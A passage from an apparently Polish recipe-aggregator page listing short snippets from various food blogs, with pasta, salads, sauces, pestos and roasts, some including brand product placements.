razie czego dolewamy jeszcze wody i łyżkę oliwy z oliwek. Gotujemy fusilli MALMA al dente, odcedzamy.   Wrzucamy na dużą patelnie z odrobiną masła. Wlewamy bardziej wodnistą część sosu, mieszamy. Nakładamy na talerz, posypujemy tartym serem i dodajemy świeże listi bazylii. Gotowe danie w bardzo szybko ! Jeśli chcemy aby było pikantniejsze dodajemy czosnek oraz oliwę z oliwek Goccia

Z Kuchni Do Kuchni
Teść też RAZ ugotować potrafił.... 189

Wrzucamy je na dużą patelnię, dodajemy wcześniej podsmażone ziemniaki i poddajemy lekkiej obróbce termicznej, na maśle, dodajemy świeżego koperku i mieszamy potrząsając energicznie patelnią.  Dodajemy już gotowy międzyczasie sos. Wykładamy wszystko na talerz. Lepiej na półmisek... Posypujemy świeżą bazylią, koperkiem, selerem naciowym i pokrojoną w kosteczkę czerwona papryką.  Do tego oczywiście starty ser. Wino...tak wino musi być

Z Kuchni Do Kuchni
Pizza farmerska 237

podaj z plastrami pomidorów i listkami bazylii, nie pożałujesz! Ja podałam ją gościowi w ten sposób i gość zachwycony był! Zamiast pomidorów w plasterkach na pizzę można położyć sos pomidorowy. Ale to już nie farmerska będzie

Z Kuchni Do Kuchni
Cukinia faszerowana papryką.Papryka faszerowana cukinią 313

ładnie upieczone. Następnie nie wyłączaj piekarnika, wyłóż warzywa do półmiska.Odłoż na bok.  i do tego samego naczynia , gdzie się zapiekały papryka i cukinia, wsyp ziemniaki, obtocz olejem, sosem , który wytworzył się podczas zapiekania warzyw. Posyp dodatkowo oregano. Troszeczkę zapiekaj. Wyłóż na talerz tak papryke cukinie jak ziemniaki, podawaj posypane ziarnami prażonymi Ziarenkowo. Smakuje bardzo jak jest ciepłe

Z Kuchni Do Kuchni
Tarta inaczej- z kaszą gryczaną i puree warzywnym 217

kaszę gryczaną zgodnie z przepisem na opakowaniu, wsyp do miseczki, lekko ostudz. Ziemniaki obierz pokrój na kawałki, cebulę na piórka i marchewke na talarki, papryke na paski, duś w sosie własnym z odrobiną oliwy z oliwek i wody.Posól, popieprz do smaku i rozetrzyj na puree. Roztrzep jajo i dodaj do kaszy ,wymieszaj i tak przygotowaną masę wyłóż na formę

Z Kuchni Do Kuchni
Makaron z leczo i ziarnami 216

szczypior.  Lekko podsmaż, dodaj pokrojone według uznania kolejne składniki, na końcu dodaj cukinie i dynie. Pomidory sparz i obierz ze skórki rozgnieć widelcem, dodaj do całości, podlej sosem pomidorowym. Może być z butelki ale lepszy będzie z kartonu, nawet ten do picia!  Następnie duś pod przykryciem. Przypraw wedle uznania. Ugotuj makaron, wyłóż natychmiast na talerze i polej gotowym

Z Kuchni Do Kuchni
Papryka faszerowana Toskanią – test brytfanny od Florina 238

słońcu i Ole ma taki właśnie smak masło oliwa z oliwek, ja uzyłam Mini Monini, bo jest łagodniejsza w smaku czosnek i cebula sól i pieprz kawałek dyni sos pomidorowy robiony w domu 2 woreczki kaszy gryczanej 1 woreczek kaszy jęczmiennej 1 bakłażan bazylia przyprawa Kuchmistrz od Skworcu pomidory z czarnuszką i czosnkiem niedzwiedzim od Skworcu W rondlu rozgrzewamy oliwę

Z Kuchni Do Kuchni
Kolacja wegetariańska 265

udusimy je! Skladniki -salsa pomidorowa ze świeżych pomidorów -jajo -parówki sojowe Polsoja -pomidor -szczypior -liść salaty -prażone ziarna Słoneczne Pola od Ziarenkowo -sól,bazylia -chleb domowy-   TUTAJ Podgrzej sos pomidorowy na patelni wbij jajo i poczekaj aż się zetnie.Międzyczasie podgrzej na wodzię parówki 100% roślinne Polsoja – o Polsoja   WIECEJ TUTAJ  i dodaj je do jaja

Z Kuchni Do Kuchni
Współpraca z Primavika 191

będzie bezmięsna  współpraca ! -ketchup bez cukru dla dzieci -masło sezamowe słodzone agawą -masło orzechowe z kokosem -buraczki pychotka -hummus naturalny -pasztet meksykański -pasztet warzywny z cieciorką -pulpety w sosie pomidorowym -masło orzechowe -paprykarz z kaszą jaglaną -tahini naturalne -musztarda łagodna -strogonow -sznycelki a la cielęce -gulasz Niektóre nazwy sugeruja produkt mięsny! Ale nic bardziej mylnego! Wszystkie produkty

Z Kuchni Do Kuchni
Warzywne spaghetti! 316

pistacji! Mniami! SKŁADNIKI: - 1 marchew - 1/2 małej cukinii Marchew i cukinię, potknij na cieniutki paseczki, za pomocą specjalnej maszynki. - 1 łyżka posiekanej pistacji - 1 łyżeczka octu balsamicznego, 1/2 łyżeczki sosu sojowego, 1/2 łyżeczki miodu, sól, odrobina chili Warzywa wymieszaj z dresingiem. - 3/4 szklanki ugotowanej kaszy pęczak Warzywa ułóż na kaszy pęczak i posyp posiekaną pistacją! Idealny delikatny i lekki obiad

SMYKWKUCHNI
Red Rock City - opinia 275

postanowiłam przetestować stek. Po jakimś czasie zamieniliśmy się bo okazało się, że bardziej smakują nam potrawy wybrane przez współbiesiadnika.  Mięso zostało potraktowane jak trzeba , żeberka otrzymały zarówno sos BBQ, jak i miodowo-musztardowy, do tego frytki i znów świetna Coleslaw. W obróbce karkówki można było wyczuć marynatę, a słodko-ostre dodatki w postaci grillowanego ananasa oraz wasabi dopełniały danie

Pasja Smaku
Krem z marchewki z bazyliowymi grzankami 226

mieszając je raz na jakiś czas. Do blendera wrzucamy liście natki i bazylii, dodajemy ząbki czosnku i 1/4 szklanki oliwy. Wszystko dokładnie blendujemy. na lekko przesmażone grzanki wylewamy ziołowy sos i dalej przesmażamy grzanki, aż będą chrupiące. Zupę miksujemy, doprawiamy solą i pieprzem. Krem podajemy posypany grzankami i ozdobiony kleksem że śmietany

Kulinarne przygody Gatity
Pudding z tapioki z truskawkami i galaretką 190

czas spędzony w kuchni, niż widok znikających w całości dań i radość najbliższych :) Pudding tak naprawdę możecie przygotować z inną galaretką i owocami, możecie również polać go gotowym sosem lub podać bez dodatków - sam w sobie smakuje wyśmienicie. No to zaczynamy! :) Składniki (teoretycznie na 2 porcje:)): 2 łyżki drobnej tapioki 250 ml mleka kokosowego (mała puszka) 1 łyżka ksylitolu

My Culinary Art
Pieczony Filet z Kurczaka na Kanapki 8754

piekarnika. Wyszedł pysznie! Dziecko było zachwycone. Dodatkowym atutem była "funkcjonalność" tego pieczonego mięska. Na kanapki do szkoły idealne, a któregoś dnia posłużył nam jako awaryjny obiad, wystarczyło sporządzić tylko sos pieczeniowy i ugotować ziemniaczki. Jak dla mnie super sprawa! Składniki: 1 pojedynczy filet z kurczaka sól pieprz młotkowany z kolendrą Kamis 3 łyżki oliwy lub oleju 2 łyżki ziół prowansalskich

Blondynka Gotuje
Makaron z kurczakiem i figami 186

jadłam fig, tak teraz jest ich sporo w mojej kuchni. Dziś prezentuję Wam kolejny przepis. Tym razem z makaronem, filetem z kurczak oraz kremowym sosem na bazie serka. Składniki: 1/2 opakowania makaronu wstążki 2 figi 1/2 białej cebuli 1 filet z kurczaka kilka gałązek tymianku sól, pieprz 1/2 opakowania serka kanapkowego z ziłami garść rukoli 1 łyżka śmietany

Pasja Smaku
Bułki z pulled pork QAFP i figą 240

Pokazywałam Wam jakiś czas temu przepis na pulled pork , czyli długo pieczoną wieprzowinę. Dzisiaj wykorzystałam przygotowane w ten sposób mięso do przygotowania kolorowych bułek. Wystarczy jedna bułka, trochę warzyw, sos, mięso a nawet owoc i powstaje jesienna, kolorowa, pyszna kanapka do szkoły czy pracy. Zapraszam. Czytaj więcej

Bernika - moj kulinarny pamietnik
Surówka z kapusty 835

kapusty, mieszamy, zalewamy wodą mineralną.  GOTOWE. Nakładamy do dużego słoika (3 litrowy) zakręcamy i odstawiamy w zimne miejsce.  Finalnie do surówki można dodać paprykę, doprawić jeszcze jakimś sosem. Chociaż uważam ,że sama w sobie jest idealna. SMACZNEGO

W kuchennym oknie Ewy
Leczo z cukinią 813

Dziś u mnie znowu coś prostego – leczo z cukinią i kabanosami według mojej mamy. Leczo to potrawa węgierska, której podstawę stanowi papryka w gęstym pomidorowo-cebulowym sosie. W Polsce za to, leczo robione jest zarówno w formie gulaszu jak i zupy. Każda gospodyni przyrządza je inaczej – w zależności od przepisu do „polskiego leczo” dodaje się często

Poezja smaku
Chrupiąca zapiekana z opieńkami 201

wodzie osolonej tak aby dobrze je wypłukać i nadać  chrupkości). Pomidory parzymy i obieramy ze skórki, smażymy z pozostałymi składnikami, doprawiamy. Na przekrojoną ciabettę układamy ser, sos i posypujemy serem - pieczemy w piekarniku nagrzanym na 160 C przez 10 minut. Dodatki dowolne ja użyłam tylko ketchupu :)  Smacznego

Niezły Młynek
BlamCO Mac & Cheese – FALLOUT – 3,75 zł 396

zestawienia albo po prostu dodać te, które akurat macie pod ręką. Całość dobrze mieszamy z makaronem i podgrzewamy chwilę na małym ogniu, aż ser się rozpuści i utworzy kremowy sos. Zestawiamy garnek z palnika, przykrywamy pokrywką i zostawiamy na kilka minut – w tym czasie zabieramy się za następny punkt. 4. SMAŻONA BUŁKA TARTA (1,5 min) Na patelni rozpuszczamy resztę

Nerds Kitchen
Sałatka z kurczakiem i konfiturą z czerwonej cebuli 413

tego, ze do każdej potrawy dodaje cebule. Jakby nie było trochę w tym prawy jest, bo do wielu potraw dodajemy to zacne warzywo. Wszelkie rodzaju gulasze, zapiekanki, potrawki i sosy są nim przesiąknięte. Do naszej dzisiejszej sałatki również postanowiłyśmy dodać cebule, choć w nieco odmiennej formie. Pokrojona w piórka, podsmażona z cukrem i miodem, a następnie duszona w winie. Pyszna

Kolizje Smaków
Pesto bazyliowe 187

Domowe aromatyczne pesto z bazylii, o wiele smaczniejsze niż to sklepowe. Najlepiej sprawdza się jako sos do ulubionego makaronu, ale może być również dodatkiem do wielu innych potraw. Składniki: 2 szklanki świeżej bazylii 3 ząbki czosnku 2 łyżki szklanki orzechów piniowych 1/2 szklanki oliwy z oliwek 1/2 szklanki startego parmezanu sól, świeżo mielony pieprz Orzechy pinii podprażyć na suchej patelni

wyzwania kuchenne
Sałatka fasolowa z porem i tuńczykiem 398

Sałatka to świetna alternatywa gdy mamy niespodziewanych gości. Ja lubię takie błyskawiczne w przygotowaniu, ale zarazem niezwykłe i smaczne:) Ta właśnie taka jest... Składniki: puszka tuńczyka w sosie własnym,  puszka czerwonej fasoli (użyłam Jamar),  2 duże pomidory,  pęczek natki pietruszki, łyżka suszonego oregano,  100g sera feta,  por.  Wykonanie Por dokładnie umyć, pokroić w krążki

Z miłości do słodkości
Domowa vegeta 589

soli i glutaminianu sodu, barwniki i inne elementy np mogące uczulać, to polecam zrobić swoją własną domową "vegetę". Taka gotowa mieszanka suszonych warzyw idealnie nam doprawi zupę, sos, czy mięso i jest zdrowa i bezpieczna dla was i waszych dzieci. Koniec z barwnikami, ryboflawiną, skrobią i glutaminianem. I co da się? Czytaj więcej

Bernika - moj kulinarny pamietnik
BURGERY Z CZARNEJ SOCZEWICY. 244

szklanki suchej czarnej soczewicy 2 średnie marchewki 1 pietruszka 1 biała cebula posiekany pęczek natki pietruszki 0,5- 1 szklanka bułki tartej 1/2 szklanki otrębów owsianych 1 jajko sos sojowy curry, sól, pieprz Soczewicę płuczę na sicie, po czym gotuję (stosunek wody do soczewicy jak 3:1). Czas gotowania to około 15-20 minut od momentu zawrzenia wody

W kuchni Karmel-itki
Ryba. Makaron. Pełnoziarniste wstążki z łososiem, cydrem i śmietanką 262

Przygotowanie smacznego obiadu wcale nie musi trwać długo. Dzisiejsza propozycja to danie w 15 minut a do tego naprawdę pyszne. Pełnoziarnisty makaron, kremowy sos i delikatna ryba - pychota ! Są dni kiedy mamy mało czasu na gotowanie albo brak chęci na stanie przy garach i ta potrawa jest właśnie na takie dzień ! Próbowaliście już pysznego Łososia na zielono ? A może bardziej

Smaczna Pyza
Mielone zraziki nadziewane porem i papryką 258

żyje, dlatego dziś mam dla Was smaczną i szybką wersję zrazików w sam raz na obiad. Zraziki są z mięsa mielonego, nadzienie zaś z papryki i pora. Do tego sos pomidorowo-paprykowy i pyszny obiad gotowy;)) Składniki: 500g mięsa mielonego wieprzowo - wołowego,  czerwona i zielona papryka,  1/2 pora,  cebula,  2 ząbki czosnku,  jajko

Z miłości do słodkości
Domowa ćwikła 176

Domowa ćwikła Składniki: Średniej wielkości laska chrzanu 3-4 buraki 2-3 łyżki śmietany sok z z cytryny sól. pieprz, cukier Wykonanie: Buraki zawijamy w aluminiową

Kulinarne przygody Gatity
Souvlaki z grillowanymi warzywami 302

Zainspirowana wpisami z bloga Lepszy Smak  postanowiłam też powspominać greckie klimaty. Na moim grillu zagościły szaszłyki w towarzystwie cukini, bakłażana i pieczarek. Oczywiście nie mogło zabraknąć sosu tzatziki. Souvlaki z grillowanymi warzywami Składniki: 3 piersi z kurczaka 1 średni bakłażan 2 młode cukinie 20 dag pieczarek patyczki do szaszłyków olej Marynata do szaszłyków: 2 łyżki suszonego oregano

Kulinarne przygody Gatity
Quesadillas z kurczakiem i serem 2807

wielkości placków. Czynności te powtarzamy przy robieniu kolejnych placków. Uwaga * oczywiście możemy zamiennie użyć zielonej lub żółtej papryki. Uwaga** koncentrat możemy zastąpić pomidorami pelati, ale wtedy musimy bardziej odparować sos

Kulinarne przygody Gatity
Sałatka: szparagi, szpinak i mozzarella 275

listki na talerzu. Ułożyć na nie ugotowane szparagi, następnie pokrojoną w plastry mozzarellę i pomidory. W moździerzu rozgnieść płatki chili, dodać sól, pieprz, oliwę i ocet. Dokładnie wymieszać. Gotowym sosem polać sałatkę

Kulinarne przygody Gatity
Małże w białym winie 241

delikatnie mieszamy. Te które zostaną zamknięte wyrzucamy. Jeśli któraś małża się nie otworzyła to znaczy, że nie była świeża. Podajemy skropione sokiem z cytryny. Ja osobiście lubię zaczerpnąć odrobinę sosu, który powstał przy gotowaniu, przy pomocy muszelki

Kulinarne przygody Gatity
Quesadillas z chili i kurczakiem 389

zrumienienia. Na 2-3 minuty przed końcem smażenia do kurczaka dodajemy cebulę pokrojoną w  piórka i posiekane chili. Następnie do usmażonego kurczaka dodajemy fasolę z puszki razem z sosem, pozostałe przyprawy i dusimy na małym ogniu przez 10-15 minut. Rozgrzewamy patelnię grillową, kładziemy na niej tortillę, podpiekamy ją z obu stron, po czym układamy na niej

Kulinarne przygody Gatity
Kiełbaski na grilla 177

Lepszy smak . Sezon grillowy w pełni, pogoda słoneczna, więc grillujmy :-). Kiełbaski możemy podać z grillowanymi warzywami lub  z mixem sałat z pomidorkami i fetą . I koniecznie z  sosem tzatziki :-) Kiełbaski na grilla Składniki na 12 sztuk: 1,5 kg mielonej wieprzowej karkówki 4 czubate łyżki czerwonej greckiej przyprawy 2-3 łyżki zimnej wody 4 łyżki oliwy

Kulinarne przygody Gatity
Wraps z kurczakiem 447

ziołami, solimy. Pomidora kroimy w cieniutkie pół-plasterki, cebulę w piórka, a sałatę w paski. Na desce kładziemy tortillię, układamy na niej sałatę, kawałki kurczaka, pomidora, cebulę i polewamy sosem jogurtowym. Ewentualnie solimy i pieprzymy do smaku. Następnie tortillię zwijamy w miarę ciasno w rulonik. Kroimy na 3-4 kawałki

Kulinarne przygody Gatity
Młode ziemniaczki w rozmarynie 167

Proste i nie wymagające zachodu danie ! Czosnek, oliwa i rozmaryn... idealny tercet dla ziemniaków. Z reguły podaję je z  sosem jogurtowo-ziołowym   lub z   tzatzikami . Przepis zaczerpnięty ze strony www.cincin.cc . Młode ziemniaczki w rozmarynie Składniki: 1 kg młodych małych ziemniaczków 1 główka czosnku oliwa z oliwek EV sól morska rozmaryn Wykonanie: Ziemniaki myjemy i kroimy na pół

Kulinarne przygody Gatity
Sałatka: feta, fasolka, pomidor 257

minut.  W moździerzu ucieramy czosnek z  solą, następnie dodajemy koperek, pieprz, oliwę i sok z cytryny. Jeszcze ciepłą fasolkę kroimy na 2-3 kawałki i zalewamy sosem. Fetę i pomidory kroimy w kostkę, wrzucamy do miski, dodajemy fasolkę i mieszamy

Kulinarne przygody Gatity
Letnia sałatka z kurczakiem 324

łyżeczki zimnej wody, sól i pieprz. Dokładnie mieszamy. Na talerzu układamy pokrojoną sałatę, kurczaka, grzanki, przekrojone na pół pomidorki i starty na grubej tarce żółty ser. Wszystko polewamy sosem

Kulinarne przygody Gatity
Sałatka: bób, cukinia 197

odrobiną soli i płatkami chili, dodajemy oliwę, ocet i 1 łyżkę zimnej wody. Na talerzu układamy listki rucoli, pokrojoną w cienkie plasterki cukinię i bób. Wszystko polewamy sosem... i gotowe ! Smacznego

Kulinarne przygody Gatity
Pizza z cukinią i pesto 184

Przy okazji pieczenia   pizzy Margherity   pomyślałam, żeby spróbować upiec pizzę z cukinią, a dla zaostrzenia jej smaku spód, zamiast sosu pomidorowego, posmarować pesto... Eksperyment się udał, będziemy powtarzać :-) Pizza z cukinią i pesto Składniki na 2 placki: 300 g mąki pszennej chlebowej 1 łyżeczka soli 80 ml mleka 80 ml cieplej wody 15 g świeżych drożdży 4 łyżki

Kulinarne przygody Gatity
Sałatka z fasolką szparagową 238

ucieramy czosnek z odrobiną soli, dodajemy oliwę, sok z cytryny, pieprz i natkę, dokładnie mieszamy. W misce układamy fasolkę szparagową, pokrojoną w kostkę fetę i pokrojone pomidory. Warzywa polewamy sosem, mieszamy. Jeśli mamy ochotę do sałatki możemy dodać podgrzaną fasolkę, też bardzo fajnie smakuje

Kulinarne przygody Gatity
Pieczona papryka 215

części i zdejmujemy z nich skórkę. Uwaga, bo mogą być gorące  w środku ! W moździerzu ucieramy czosnek z solą, dodajemy pieprz, sok z cytryny i oliwę. Tak przygotowanym sosem polewamy paprykę

Kulinarne przygody Gatity
Surówka z białej kapusty sałatkowej 301

najpierw solić i czekać aż zmięknie, tak jak to robimy ze zwykłą kapustą. Surówka z białej kapusty sałatkowej Składniki: 1/2 główki kapusty sałatkowej 1/2 cebuli 1 marchewka olej sos sojowy szczypta cukru sól pieprz 1 łyżka posiekanego koperku Wykonanie: Kapustę szatkujemy, marchewkę ścieramy na tarce o grubych oczkach, a cebulę kroimy w drobną kosteczkę. Warzywa wrzucamy do miski, dodajemy

Kulinarne przygody Gatity
Śledź w oleju z cebulą 380

Trzeba wziąć mały oddech i zacząć przygotowywać się do Sylwestra, który już lada moment. Był na blogu przepis na mojego ulubionego  śledzia w sosie czosnkowym ,   dzisiaj pojawi się przepis na klasycznego śledzika w oleju. Nie może go zabraknąć na żadnym imprezowym stole. Śledzie powinniśmy przygotować co najmniej jeden dzień przed Sylwestrem, najlepsze będą

Kulinarne przygody Gatity
Warzywna sałatka z pęczakiem 405

następnie przelewamy zimna wodą. W szklance mieszamy odrobinę zimnej wody, oliwę, ocet, przeciśnięty przez praskę czosnek, sól i pieprz Pęczak mieszamy z warzywami, zalewamy sosem, dodajemy natkę i mieszamy

Kulinarne przygody Gatity
Schab z warkoczem pieczony w majeranku 215

wysycha.  W tym kawału który piekłam, warkocz był akurat bardzo duży, co widać dokładnie na zdjęciu Schab można podać również na ciepło, jako danie obiadowe, z dodatkiem sosu. Schab z warkoczem pieczony w majeranku Składniki: 1,5 kg schabu wieprzowego z warkoczem 2-3 łyżki majeranku około 1 łyżeczki soli około 1 łyżeczki słodkiej papryki pieprz olej Wykonanie

Kulinarne przygody Gatity
Sałatka z bulgurem i kurczakiem 264

miski. Kurczaka kroimy w cienkie paseczki, bulgur mieszamy widelcem i wszytko dodajemy do miski. W szklance mieszamy sok z cytryny, oliwę, sól, pieprz i koperek. Sosem zalewamy sałatkę i wszystko dokładnie mieszamy

Kulinarne przygody Gatity
Bazyliowe pesto 210

Uwielbiam pesto, powiem więcej: uwielbiam wszystkie rodzaje pesto ! Robiłam już  pesto z rukoli z bazylią  i pesto z natki pietruszki

Kulinarne przygody Gatity
Spaghetti z pesto, cukinią i suszonymi pomidorami 304

naszym domu uwielbiamy makarony ! Młodsze dziecię jada go nawet bez niczego, tak na sucho, ale jednak jakiś sos się do niego czasami przyda :-). Dziś prosty i szybki dodatek z cukinii i suszonych pomidorów z odrobiną pokrojonego sera brie. Do tej pory makaron podawałam ze smażoną cukinię z dodatkiem czosnku i oliwy, ale tym razem z okazji premiery nowego makaronu Malmy

Kulinarne przygody Gatity
Świąteczny chlebek cytrynowo-rozmarynowy z żurawiną 244

ręce ten rozmarynowy chlebek i tym razem postanowiłam go wypróbować. Polecam go na świąteczne śniadanie, będzie idealnym  i oryginalnym dodatkiem do wędlin, jaj i wszelkiego rodzaju sosów. Inspiracja  Kucharnia   z moimi małymi zmianami. Świąteczny chlebek rozmarynowy z żurawiną Składniki: 1 szklanka mleka 5 łyżek masła, pokrojonego na małe kawałki 1/4 szklanki miodu 2 łyżeczki rozmarynu

Kulinarne przygody Gatity
Świąteczna galantyna drobiowa 270

jajko na twardo. Na Wielkanoc lubię klasyczne dania, które od lat goszczą na naszym stole. Galantyna ma jeszcze jedną podstawową zaletę: nie zawiera tłuszczu ! Chyba, że okrasimy ją sosem tatarskim, to wtedy zmienia się w bombę kaloryczną, ale kto przy świątecznym stole przejmowałby się kaloriami :-). Świąteczna galantyna drobiowa Składniki: 1 duża podwójna pierś kurczaka 3 marchewki 1 pietruszka mały

Kulinarne przygody Gatity
Tagliatelle ze szparagami 250

patelnię wylewamy masę serową, ogień zmniejszamy do minimum i wszystko dokładnie mieszamy, do momentu aż masa się lekko zetnie, ale nadal będzie płynna. Następnie sos mieszamy z makaronem i od razu podajemy

Kulinarne przygody Gatity
Wiosenna sałatka ze szparagami i winegretem musztardowym 298

kawałki. Ziemniaki studzimy, obieramy ze skórki i kroimy w plasterki. Szpinak płuczemy, cykorię kroimy w paski. W misce układamy wszystkie warzywa, jajka kroimy w ósemki. Sałatkę polewamy sosem, mieszamy i podajemy

Kulinarne przygody Gatity
Zupa tajska z kurczakiem z dodatkiem oleju rzepakowego 377

łyżki oleju rzepakowego 200 g mrożonego zielonego groszku 5 -6 pieczarek 1 puszka mleka kokosowego 400 ml 1 papryczka chili 1 łyżeczka suszonej trawy cytrynowej 2 - 3 łyżki sosu rybnego sól do smaku makaron chow mein  Wykonanie: Szalotki kroimy w cienkie piórka, kurczaka kroimy w paski, papryczkę chili drobno siekamy, pieczarki kroimy w plasterki. Na patelni rozgrzewamy olej

Kulinarne przygody Gatity
Warsztaty kulinarne z makaronem Malma 210

przyznać, że temat warsztatów mnie bardzo ucieszył.  W trakcie warsztatów przygotowaliśmy spaghetti z polędwicą cielęcą, świeżymi pomidorami i bazylią, penne z zielonymi szparagami i sosem z mascarpone, a na deser zrobiliśmy krem na bazie mascarpone z owocami leśnymi.  W międzyczasie Andrea opowiadał nam o kuchni włoskiej, jej tradycjach i smakach

Kulinarne przygody Gatity
Sałatka z zielonym kuskus, mozzarellą i pomidorkami 197

całkowitego wchłonięcia się bulionu. Natkę wkładamy do blednera, dolewamy olej kujawski, sok z cytryny i blendujemy na gładką masę. Gdy kuskus wystygnie wzruszamy go widelcem, dodajemy sos z natki, mozzarelle, pomidorki przekrojone na pół, sól, pieprz i dokładnie mieszamy

Kulinarne przygody Gatity
Sałatka z fasolką szparagową i fetą 245

ucieramy czosnek z  solą, następnie dodajemy koperek, pieprz, olej kujawski i sok z cytryny. Wszystko mieszamy. Jeszcze ciepłą fasolkę kroimy na 2-3 kawałki i zalewamy sosem. Fetę i pomidory kroimy w kostkę, wrzucamy do miski, dodajemy fasolkę i mieszamy

Kulinarne przygody Gatity
Tarta z jagodami 194

coś bardziej grzesznego :-). Oto doskonała tarta z jagodami z dodatkiem mielonych migdałów. Doskonałym zamiennikiem dla jagód będą też dojrzałe borówki amerykańskie. Inspiracja   Pora coś zjeść . Jeśli przygotujesz ten sos, zrób zdjęcie,  zamieść je pod tym przepisem przy pomocy żółtego przycisku Cook'd i weź udział w konkursie: Tarta z jagodami Proporcje na tortownicę o średnicy 27 cm Czas

Kulinarne przygody Gatity
Pesto z rukoli 220

wymieszane z gorącym makaronem i posypane odrobina świeżo startego parmezanu. Grillowana pierś z kurczaka nabiera charakteru, gdy ją posmarujemy pesto. A nie wspominam już o ciepłym toście posmarowanym tym sosem... Aromat, który się roztacza wokół bezcenny :-). A Wy macie swoje pomysły na wykorzystanie pesto ? Jeśli przygotujesz ten przepis, zrób zdjęcie,  zamieść je pod tym przepisem przy pomocy żółtego przycisku

Kulinarne przygody Gatity
Pure z pieczonych buraków 214

porcjować i zamrozić. Pieczone buraki pokrojone w plastry wykorzystuję do sałatki , a pure do   chłodnika . Możemy też zrobić zupę - krem. Pamiętajcie, pieczone buraki uwielbiają sos balsamiczny ! eśli przygotujesz ten przepis, zrób zdjęcie,  zamieść je pod tym przepisem przy pomocy żółtego przycisku Cook'd i weź udział w konkursie: Pieczone buraki Pure z pieczonych buraków Składniki

Kulinarne przygody Gatity
Sałatka z bazyliowym bulgurem i mozzarellą 218

cytryny i blendujemy tak, żeby pozostały kawałki listków. Ogórek obieramy i kroimy w kostkę, czerwonego pomidora też kroimy w kostkę.Gdy kuskus będzie zimny wzruszamy go widelcem, dodajemy sos z bazylii, pokrojoną w kostkę mozzarellę, ogórek,  pomidora i żółte pomidorki przekrojone na pół. Przyprawiamy, dodajemy pozostałą oliwę i dokładnie mieszamy

Kulinarne przygody Gatity
Tarta warzywna 206

dziecinnie łatwe, należy tylko zwrócić uwagę na to, żeby warzywa i mozzarella były odsączone. W przeciwnym wypadku zamiast chrupiącego ciasta i warzyw z piekarnika wyjemy warzywa uduszone we własnym sosie. Tarta doskonale smakuje zarówno na ciepło, jak i na zimno.  Inspiracja  Madame Edith . Tarta warzywna Proporcje  na formę o średnicy 28 cm Czas przygotowania: 120 minut

Kulinarne przygody Gatity
Buraczane gnocchi 212

zrobić zielone kluseczki, to czemu nie zrobić różowych ? Wprawdzie moje córki już dawno wyrosły z lalek Barbie i różowego kolory na ubraniach, ale gnocchi zjadły chętnie. Podałam je z sosem śmietanowym. Natomiast gdyby Wam różowy kolor nie przypadł zbytnio do gustu, to polecam  zielone gnocchi  lub  klasyczne . Buraczane gnocchi  Czas przygotowania: 30 minut Składniki

Kulinarne przygody Gatity
Sałatka ziemniaczana z fasolką 227

cytryny, przyprawy i czosnek. Dodajemy czosnek i szalotki, mieszamy. Lekko przestudzone ziemniaki obieramy i kroimy w ćwiartki lub ósemki, fasolkę kroimy na pół. Warzywa dodajemy do sosu,  mieszamy

Kulinarne przygody Gatity
Dynia zapiekana z grzybami 261

pora więc wykorzystać po raz kolejny to wdzięczne i smaczne warzywo. Tym razem postanowiłam przygotować dynie w duecie z innym typowo jesiennym warzywem, czyli z grzybami. Pieczona dynia z sosem grzybowo - serowym okazała się być rewelacją ! Na blogu znajdziecie też inne dyniowe propozycje. Na wytrawnie: Tarta dyniowa z serem pleśniowym Tarta dyniowa z szynką i ryżem Placuszki dyniowe na słodko

Kulinarne przygody Gatity
Placki z cukinii z kukurydzą 234

złoto z każdej strony (nakładamy ok 2 łyżek masy na jednego placuszka).  Placuszki idealnie smakują jako samodzielne danie, ale sprawdzają się również jako dodatek do mięs i sosów

Emcia Pichci
Faszerowane naleśniki ryżowe na parze 312

Naleśniki namaczam aby zmiękły, przekładam na czystą ściereczkę i wykładam po łyżce farszu zawijając i otaczając w sezamie. Podgrzewam na parze ok 10 minut i podaję z ulubionymi sosami :) pasuje sojowy albo słodko-kwaśny.  Można naleśniki usmażyć na głębokim oleju.  Smacznego

Niezły Młynek
Burrito 267

rozgrzanej patelni grillowej i opiekłam z obu stron. Opiekłam na "sucho" bez dodawania tłuszczu. Tak postąpiłam z każdym plackiem tortilli. Niestety mój syn nie chciał żadnego dipu ani sosu do burrito, więc pozostałam przy wersji podstawowej :) SMACZNEGO życzy BLONDYNKA :) /*post zawiera lokowanie produktów firmy Ballarini - wok i patelnia grillowa linii Salento White Stone / - są super

Blondynka Gotuje
Rajskie jabłuszka. Deser. Jabłka w cieście z marcepanem i żurawiną 254

blachę szarlotki więc zrobiłam coś zupełnie innego a jednocześnie trafiłam dobrze w gust domowników. Upieczone jabłuszka, nadziane marcepanem i lekko pijanymi żurawinami, otulone krucho drożdżowym, serowym ciastem.... Całość uzupełnił sos ze świeżej żurawiny. Mówię Wam, coś pysznego ! Jabłka i żurawiny to świetne połączenie - w małych jabłecznikach też się sprawdziło. ROZWIŃ I CZYTAJ DALEJ

Smaczna Pyza
Pieczony camembert z miodem i orzechami 355

Wpis pochodzi z www.mgotuje.pl Ser camembert to super pomysł na szybką przekąskę. Upieczony w piekarniku i podany na ciepło z sosem z orzechów i miodu stanowi pyszną kompozycję smakową. Podawany z chrupiącą bagietką. Przepis znalazłam w książce Beaty Śniechowskiej, zwyciężyni drugiej edycji programu Masterchef. Post Pieczony camembert z miodem

Marta Gotuje
Pieczona pierś z indyka 313

Zanim zaczęłam eksperymentować z przepisami, przez pierwszy miesiąc po urodzeniu dziecka jadłam głównie 3 dania na zmianę: klopsiki w sosie koperkowym, leniwe i pieczoną pierś z indyka. Może to i monotonne, ale to gwarantowało mi, że i ja i Maluch spaliśmy w nocy i czuliśmy się bardzo dobrze, a do tego wszystkiego ja chudłam. Pieczeń tylko brzmi trudno

Matka Żywicielka
Biszkopt rzucany z porzeczkami i malinami - dieta bezmleczna 293

sposobem starczyło jeszcze na kompot.      Lubię czuć w cieście smak mleka, a jeszcze bardziej masła (masło poprawia smak niemal każdego dania, a mój ukochany sos boloński bez masła jest właściwie nie skończony), ale pomyślałam o tych mamach, które nie mogą sobie pozwolić ani na jedno, ani na drugie. Przeczytałam internet w szerz i wzdłuż: dużo ciast "olejowych

Matka Żywicielka
Kurczak pieczony w całości 414

włożyć kurę. 5. Przykryć folą aluminiową, tak aby zostały niewielkie szpary 6. Piec pod folią 40 minut, a potem jeszcze minimum 30 minut bez folii, ale podlewając po wierzchu sosem co jakieś 10 minut 7. Przed podaniem dobrze jest dać mięsu chwilę odpocząć   Dało się zauważyć moje niedowidzące oczy

Matka Żywicielka
Pstrąg z grilla 194

